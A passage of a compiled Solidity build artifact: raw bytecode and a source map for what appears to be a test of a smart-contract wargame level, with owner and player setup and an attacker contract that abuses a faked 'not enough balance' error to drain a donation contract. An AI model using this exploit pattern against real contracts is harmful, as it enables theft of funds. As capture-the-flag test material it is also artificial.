cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220635cf7b598a7226244861ca484ea5bdf97ee0a2b7cc398769cf1b4b034edc31664736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;433:1677:135;420:32:154;259:12:155;433:1677:135;420:32:154;410:43;382:71;;433:1677:135;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b98565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bdb565b620001b3620001fa36600462001cc7565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d9a565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e5d565b620001da6200025736600462001f2a565b62000ef8565b6200019a62001088565b6200027162001235565b604051620001c7919062001f42565b620001b36200029136600462001fa8565b6200130a565b6200023762001429565b620002b8620002b236600462001fc6565b62001523565b6040519015158152602001620001c7565b62000271620016b3565b6200019a62001788565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001821565b620001da620018f5565b6200019a6200032f36600462001f2a565b62001955565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762002002565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002002565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200130a565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b3d565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020a3565b9050806001825162000982919062002233565b8151811062000995576200099562002002565b60200260200101515f0151600281518110620009b557620009b562002002565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002249565b90505f81848560405160200162000acd9291906200229b565b60408051601f198184030181529082905262000aed929160200162002349565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200237b565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002249565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019c990919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b906200238f565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb9906200238f565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c29565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023c9565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62002002565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b5050505060215f9054906101000a90046001600160a01b03166001600160a01b031663251436386040518163ffffffff1660e01b81526004016020604051808303815f875af115801562001148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200116e9190620023e7565b506021546040515f916001600160a01b0316906200118c9062001b4b565b6001600160a01b039091168152602001604051809103905ff080158015620011b6573d5f803e3d5ffd5b509050806001600160a01b0316639e5faafc6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011f2575f80fd5b505af115801562001205573d5f803e3d5ffd5b50506020546021546200123293506200122c92506001600160a01b03918216911662001523565b62001a6b565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f2001805462001278906200238f565b80601f0160208091040260200160405190810160405280929190818152602001828054620012a6906200238f565b8015620012f55780601f10620012cb57610100808354040283529160200191620012f5565b820191905f5260205f20905b815481529060010190602001808311620012d757829003601f168201915b50505050508152602001906001019062001258565b5f806040516200131a9062001b59565b604051809103905ff08015801562001334573d5f803e3d5ffd5b5090505f604051620013469062001b67565b604051809103905ff08015801562001360573d5f803e3d5ffd5b508483604051620013719062001b75565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013ab573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200140a575f80fd5b505af11580156200141d573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200150a57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014b65790505b505050505081525050815260200190600101906200144c565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200157f575f80fd5b505af115801562001592573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015f0575f80fd5b505af115801562001603573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001667573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016909190810190620020a3565b9050600181511115620016a8576001915050620016ad565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016f6906200238f565b80601f016020809104026020016040519081016040528092919081815260200182805462001724906200238f565b8015620017735780601f10620017495761010080835404028352916020019162001773565b820191905f5260205f20905b8154815290600101906020018083116200175557829003601f168201915b505050505081526020019060010190620016d6565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017df575f80fd5b505af1158015620017f2573d5f803e3d5ffd5b50506020546021546200181f93506200181992506001600160a01b03918216911662001523565b62001aea565b565b6008545f9060ff161562001839575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018c8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018ee919062002408565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001962824362002420565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a20908690869060040162002436565b5f60405180830381865afa15801562001a3b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a64919081019062002467565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ad0575f80fd5b505afa15801562001ae3573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ab9565b61105f806200249e83390190565b61021680620034fd83390190565b610ae5806200371383390190565b611e7a80620041f883390190565b610daa806200607283390190565b6001600160a01b038116811462001232575f80fd5b5f805f6060848603121562001bab575f80fd5b833562001bb88162001b83565b9250602084013562001bca8162001b83565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c1d5783516001600160a01b03168352928401929184019160010162001bf6565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c635762001c6362001c29565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c955762001c9562001c29565b604052919050565b5f67ffffffffffffffff82111562001cb95762001cb962001c29565b50601f01601f191660200190565b5f6020828403121562001cd8575f80fd5b813567ffffffffffffffff81111562001cef575f80fd5b8201601f8101841362001d00575f80fd5b803562001d1762001d118262001c9d565b62001c69565b81815285602083850101111562001d2c575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d6557818101518382015260200162001d4b565b50505f910152565b5f815180845262001d8681602086016020860162001d49565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e4e57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e3757605f1988850301835262001e2484865162001d6d565b948d01949350918c019160010162001e05565b505050968901969350509087019060010162001dbf565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f1c57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f065783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ec2565b5096890196945050509086019060010162001e84565b509098975050505050505050565b5f6020828403121562001f3b575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f9b57603f1988860301845262001f8885835162001d6d565b9450928501929085019060010162001f69565b5092979650505050505050565b5f6020828403121562001fb9575f80fd5b813562001a648162001b83565b5f806040838503121562001fd8575f80fd5b823562001fe58162001b83565b9150602083013562001ff78162001b83565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002032576200203262001c29565b5060051b60200190565b5f6200204c62001d118462001c9d565b905082815283838301111562002060575f80fd5b62001a6483602083018462001d49565b5f82601f83011262002080575f80fd5b62001a64838351602085016200203c565b80516200209e8162001b83565b919050565b5f6020808385031215620020b5575f80fd5b825167ffffffffffffffff80821115620020cd575f80fd5b818501915085601f830112620020e1575f80fd5b8151620020f262001d118262002016565b81815260059190911b8301840190848101908883111562002111575f80fd5b8585015b8381101562002212578051858111156200212d575f80fd5b86016060818c03601f1901121562002143575f80fd5b6200214d62001c3d565b88820151878111156200215e575f80fd5b8201603f81018d136200216f575f80fd5b898101516200218262001d118262002016565b81815260059190911b8201604001908b8101908f831115620021a2575f80fd5b6040840193505b82841015620021c45783518252928c0192908c0190620021a9565b8452505050604082015187811115620021db575f80fd5b620021eb8d8b8386010162002070565b8a83015250620021fe6060830162002091565b604082015284525091860191860162002115565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016ad57620016ad6200221f565b5f602082840312156200225a575f80fd5b815167ffffffffffffffff81111562002271575f80fd5b8201601f8101841362002282575f80fd5b62002293848251602084016200203c565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022d481600585016020880162001d49565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200231381600a84016020880162001d49565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200235c81846020880162001d49565b8351908301906200237281836020880162001d49565b01949350505050565b602081525f62001a64602083018462001d6d565b600181811c90821680620023a457607f821691505b602082108103620023c357634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023da575f80fd5b815162001a648162001b83565b5f60208284031215620023f8575f80fd5b8151801515811462001a64575f80fd5b5f6020828403121562002419575f80fd5b5051919050565b80820180821115620016ad57620016ad6200221f565b604081525f6200244a604083018562001d6d565b82810360208401526200245e818562001d6d565b95945050505050565b5f6020828403121562002478575f80fd5b815167ffffffffffffffff8111156200248f575f80fd5b62002293848285016200207056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610fe58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461041c565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461043e565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461041c565b6102a6565b61011461033b565b61011d5f610394565b565b5f60405161012c906103fb565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b03166311df99956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610475565b6001600160a01b03166327e235e3826001600160a01b031663521eb2736040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061021f9190610475565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d9190610490565b15949350505050565b6102ae61033b565b6001600160a01b03811661032f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61033881610394565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610326565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610b08806104a883390190565b6001600160a01b0381168114610338575f80fd5b5f6020828403121561042c575f80fd5b813561043781610408565b9392505050565b5f806040838503121561044f575f80fd5b823561045a81610408565b9150602083013561046a81610408565b809150509250929050565b5f60208284031215610485575f80fd5b815161043781610408565b5f602082840312156104a0575f80fd5b505191905056fe608060405234801561000f575f80fd5b5060405161001c906100ff565b604051809103905ff080158015610035573d5f803e3d5ffd5b505f80546001600160a01b0319166001600160a01b039290921691821790556040516100609061010c565b6001600160a01b039091168152602001604051809103905ff080158015610089573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039283169081179091555f546040516382e46b7560e01b81526004810192909252909116906382e46b75906024015f604051808303815f87803b1580156100e4575f80fd5b505af11580156100f6573d5f803e3d5ffd5b50505050610119565b61042e8061038483390190565b610356806107b283390190565b61025e806101265f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c806311df9995146100435780632514363814610073578063521eb2731461008b575b5f80fd5b600154610056906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b61009d565b604051901515815260200161006a565b5f54610056906001600160a01b031681565b5f80546040517ff836afce0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063f836afce906024015f604051808303815f87803b1580156100f8575f80fd5b505af1925050508015610109575060015b610222573d808015610136576040519150601f19603f3d011682016040523d82523d5f602084013e61013b565b606091505b50805160208083019190912060408051600481526024810190915291820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fad3a8b9e0000000000000000000000000000000000000000000000000000000017815291519091200361021e575f546040517fe40b86580000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063e40b8658906024015f604051808303815f87803b158015610201575f80fd5b505af1158015610213573d5f803e3d5ffd5b505050505f91505090565b5090565b5060019056fea2646970667358221220d5db4a23eced2c10c7be752e7449ddba9a1dbc761e6cf62f46f17779c80a89c564736f6c63430008180033608060405234801561000f575f80fd5b505f80546001600160a01b031916331790556104008061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100ac578063e40b8658146100be578063f836afce146100d1575f80fd5b806311df99951461006857806382e46b7514610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100aa6100a5366004610391565b6100e4565b005b5f5461007b906001600160a01b031681565b6100aa6100cc366004610391565b610148565b6100aa6100df366004610391565b61025b565b5f546001600160a01b0316331461010e57604051635fc483c560e01b815260040160405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461017257604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b81523060048201526001600160a01b039091169063a9059cbb90839083906327e235e390602401602060405180830381865afa1580156101c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e691906103b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044015b5f604051808303815f87803b158015610242575f80fd5b505af1158015610254573d5f803e3d5ffd5b5050505050565b5f546001600160a01b0316331461028557604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b8152306004820152600a916001600160a01b0316906327e235e390602401602060405180830381865afa1580156102cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f091906103b3565b1015610328576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600a60248301529091169063a9059cbb9060440161022b565b50565b6001600160a01b038116811461037a575f80fd5b5f602082840312156103a1575f80fd5b81356103ac8161037d565b9392505050565b5f602082840312156103c3575f80fd5b505191905056fea264697066735822122034a4a3cb0de740fd1e8ffe7d7b8af2cb6145f1e332ec60827493447c2818318d64736f6c63430008180033608060405234801561000f575f80fd5b5060405161035638038061035683398101604081905261002e9161004f565b6001600160a01b03165f908152602081905260409020620f4240905561007c565b5f6020828403121561005f575f80fd5b81516001600160a01b0381168114610075575f80fd5b9392505050565b6102cd806100895f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806327e235e314610038578063a9059cbb14610069575b5f80fd5b6100576100463660046101f6565b5f6020819052908152604090205481565b60405190815260200160405180910390f35b61007c610077366004610216565b61007e565b005b335f9081526020819052604090205480821161018e57335f90815260208190526040812080548492906100b290849061026b565b909155505073ffffffffffffffffffffffffffffffffffffffff83165f90815260208190526040812080548492906100eb908490610284565b909155505073ffffffffffffffffffffffffffffffffffffffff83163b15610189576040517f98d078b40000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff8416906398d078b4906024015f604051808303815f87803b158015610172575f80fd5b505af1158015610184573d5f803e3d5ffd5b505050505b505050565b6040517fcf479181000000000000000000000000000000000000000000000000000000008152600481018290526024810183905260440160405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146101f1575f80fd5b919050565b5f60208284031215610206575f80fd5b61020f826101ce565b9392505050565b5f8060408385031215610227575f80fd5b610230836101ce565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561027e5761027e61023e565b92915050565b8082018082111561027e5761027e61023e56fea2646970667358221220e3c803416f072a55bad7879542c57f540024c24154cfe1f657d46201c89def1264736f6c63430008180033a264697066735822122012a6faad48b12a2df1d0c12e6867cfce04832683ab0bbeab9c0a72deeddc5c6864736f6c6343000818003360a060405234801561000f575f80fd5b5060405161021638038061021683398101604081905261002e9161003f565b6001600160a01b031660805261006c565b5f6020828403121561004f575f80fd5b81516001600160a01b0381168114610065575f80fd5b9392505050565b6080516101936100835f395f609401526101935ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806398d078b4146100385780639e5faafc1461004d575b5f80fd5b61004b610046366004610120565b610055565b005b61004b610092565b600a811161008f576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663251436386040518163ffffffff1660e01b81526004016020604051808303815f875af11580156100fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061008f9190610137565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b81518015158114610156575f80fd5b939250505056fea26469706673582212200cdd5d3801aa9ff6349aeb419cef9e4af1867c3b7cc5bc19ba8ccdc242af58a164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152